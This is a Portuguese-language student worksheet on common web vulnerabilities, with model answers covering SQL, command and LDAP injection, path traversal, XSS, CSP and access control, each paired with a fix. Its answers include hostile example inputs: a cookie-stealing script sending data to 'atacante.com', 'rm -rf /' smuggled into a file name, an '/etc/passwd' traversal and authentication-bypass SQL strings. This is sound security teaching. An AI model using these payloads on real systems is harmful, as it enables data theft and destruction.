Partilhar: WhatsApp
aulify
UC UC02836 · T. Desenv. Software

Ficha 01 · Vulnerabilidades comuns

OWASP Top 10, injection, XSS, broken access control
Versão · Aluno
Tempo · 60 minutos
Cotação · 100 pontos
Aluno(a)
Turma
Data
Objectivos da ficha

Parte I · Injection

Exercício 1 · Identificar SQL injection (15 pts)

Este código está vulnerável a SQL injection. Indica:

nome = request.form["nome"]
query = f"SELECT * FROM users WHERE nome = '{nome}' AND ativo = 1"
cursor.execute(query)

a) Que input malicioso pode bypassar a verificação ativo = 1?

b) Como corrigir?

a) Input malicioso:

Ana' OR '1'='1' --

Resulta em:

SELECT * FROM users WHERE nome = 'Ana' OR '1'='1' --' AND ativo = 1

Os -- comentam o resto; '1'='1' é sempre verdadeiro; devolve todos os utilizadores (incluindo inactivos).

b) Correcção:

cursor.execute(
    "SELECT * FROM users WHERE nome = %s AND ativo = 1",
    (nome,)
)

Driver escapa automaticamente; input do utilizador é tratado como valor, nunca como SQL.

Exercício 2 · Outras injections (10 pts)

Para cada caso indica o tipo de injection e como prevenir:

a) os.system(f"convert {file} out.png") — input vem do user.

b) Endereço LDAP construído com f"(uid={user})".

c) Em loja online, URL ?file=../../etc/passwd.

a) Command injection. Input malicioso: image.jpg; rm -rf /. Prevenção: subprocess.run(["convert", file, "out.png"], shell=False) ou validar nome contra whitelist.

b) LDAP injection. Input malicioso: *)(uid=* poderia listar todos os utilizadores. Prevenção: escape de caracteres especiais LDAP ((, ), *, etc.) ou usar bind parameters da biblioteca LDAP.

c) Path traversal. Permite leitura de qualquer ficheiro do servidor. Prevenção: validar contra whitelist, usar os.path.realpath() e verificar que está dentro da pasta autorizada, ou armazenar referências numéricas em vez de nomes.

Parte II · XSS

Exercício 3 · Identificar XSS (15 pts)

Este template Jinja2 está vulnerável:

<div>{{ comentario|safe }}</div>

a) Porquê? O que torna isto perigoso?

b) Que ataques são possíveis?

c) Como corrigir mantendo formatação simples (negrito, itálico)?

a) |safe diz ao Jinja2 para não escapar o HTML — interpreta-o como markup. Se comentario vier de input do utilizador, qualquer tag HTML/JS executa.

b) Ataques possíveis: - Roubo de cookies: <script>fetch('http://atacante.com?c='+document.cookie)</script>. - Phishing: inserir form que rouba credenciais. - Defacement: alterar visual da página para outros utilizadores. - Keylogger: capturar tudo o que utilizador digita.

c) Correcção:

Remover |safe (escape automático trata < como &lt;):

<div>{{ comentario }}</div>

Se precisar permitir formatação:

import bleach

comentario_seguro = bleach.clean(
    comentario,
    tags=["b", "i", "u", "p", "br"],
    attributes={}
)

E continuar sem |safe no template — bleach já sanitizou.

Exercício 4 · CSP (10 pts)

a) O que é Content Security Policy?

b) Que header HTTP exemplo definirias para um site só com recursos próprios?

a) CSP (Content Security Policy) é um header HTTP que diz ao browser de onde pode carregar scripts, imagens, CSS, fontes, etc. Mitiga XSS porque mesmo que atacante consiga injectar <script>, o browser bloqueia execução se não vier de origem aprovada.

b) Exemplo restritivo:

Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'

Parte III · Access Control

Exercício 5 · Broken access control (15 pts)

Este código tem uma vulnerabilidade. Identifica e corrige:

@app.route("/api/encomendas/<int:id>")
@login_required
def ver_encomenda(id):
    enc = Encomenda.query.get(id)
    return jsonify(enc.to_dict())

Problema: verifica se utilizador está autenticado, mas não verifica se a encomenda lhe pertence.

Utilizador autenticado pode mudar id na URL e ver encomendas de outros utilizadores (IDOR — Insecure Direct Object Reference).

Correcção:

@app.route("/api/encomendas/<int:id>")
@login_required
def ver_encomenda(id):
    enc = Encomenda.query.get_or_404(id)
    if enc.cliente_id != current_user.id and not current_user.is_admin:
        abort(403)
    return jsonify(enc.to_dict())

Verifica que: - Encomenda existe (404 se não). - Pertence ao utilizador autenticado (ou utilizador é admin). - Devolve 403 Forbidden se não tiver permissão.

Exercício 6 · Verificação no servidor (10 pts)

Frontend esconde botão "Apagar utilizador" para utilizadores não-admin. Backend permite a qualquer utilizador autenticado fazer DELETE /users/123. Está seguro?

Não. A verificação no frontend é só UX — qualquer utilizador pode usar curl/Postman para fazer DELETE directamente.

Solução: verificação no backend:

@app.route("/users/<int:id>", methods=["DELETE"])
@login_required
def apagar_user(id):
    if not current_user.is_admin:
        abort(403)
    user = User.query.get_or_404(id)
    db.session.delete(user)
    db.session.commit()
    return "", 204

Regra: toda verificação de segurança no servidor. Frontend pode esconder/desactivar para UX, mas backend nunca confia.

Parte IV · Cenário

Exercício 7 · Auditoria de código (25 pts)

Identifica 5 problemas de segurança neste código:

import sqlite3
import hashlib

def login(request):
    user = request.args["user"]
    pwd = request.args["pwd"]
    hashed = hashlib.md5(pwd.encode()).hexdigest()

    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()
    query = f"SELECT * FROM users WHERE nome='{user}' AND pwd='{hashed}'"
    cursor.execute(query)
    row = cursor.fetchone()

    if row:
        session["user_id"] = row[0]
        return "<p>Bem-vindo " + user + "</p>"
    return "Login failed"

Problemas:

  1. SQL injection — query construída com f-string. Input ' OR '1'='1 bypassa autenticação. Usar prepared statements.

  2. Hash inseguro — MD5 é quebrado, rápido demais para senhas. Usar bcrypt.

  3. Credenciais em GETrequest.args lê query string; senha aparece em logs de servidor, browser history, referer. Usar POST com body.

  4. XSS"<p>Bem-vindo " + user + "</p>" concatena input sem escape. Input <script>...</script> executa.

  5. Sem rate limiting — atacante pode tentar milhares de senhas. Implementar throttling.

  6. Sem logging de tentativas — falhas de login não são auditadas.

  7. Resposta genérica não diferencia "user inexistente" de "senha errada" — bom para segurança, mas a mensagem "Login failed" deveria ser ainda mais vaga.

Versão corrigida:

import bcrypt
import logging
from flask import request, session, render_template_string

logger = logging.getLogger(__name__)

def login(request):
    if request.method != "POST":
        return "Method not allowed", 405

    user = request.form.get("user")
    pwd = request.form.get("pwd")
    if not user or not pwd:
        return "Bad request", 400

    # Rate limiting (Flask-Limiter, etc.) — omitido por brevidade

    with sqlite3.connect("app.db") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT id, pwd_hash FROM users WHERE nome = ?", (user,))
        row = cursor.fetchone()

    ok = row and bcrypt.checkpw(pwd.encode(), row[1].encode())
    logger.info(f"Login attempt: user={user} success={ok} ip={request.remote_addr}")

    if ok:
        session["user_id"] = row[0]
        return render_template_string("<p>Bem-vindo {{ user }}</p>", user=user)
    return "Login failed", 401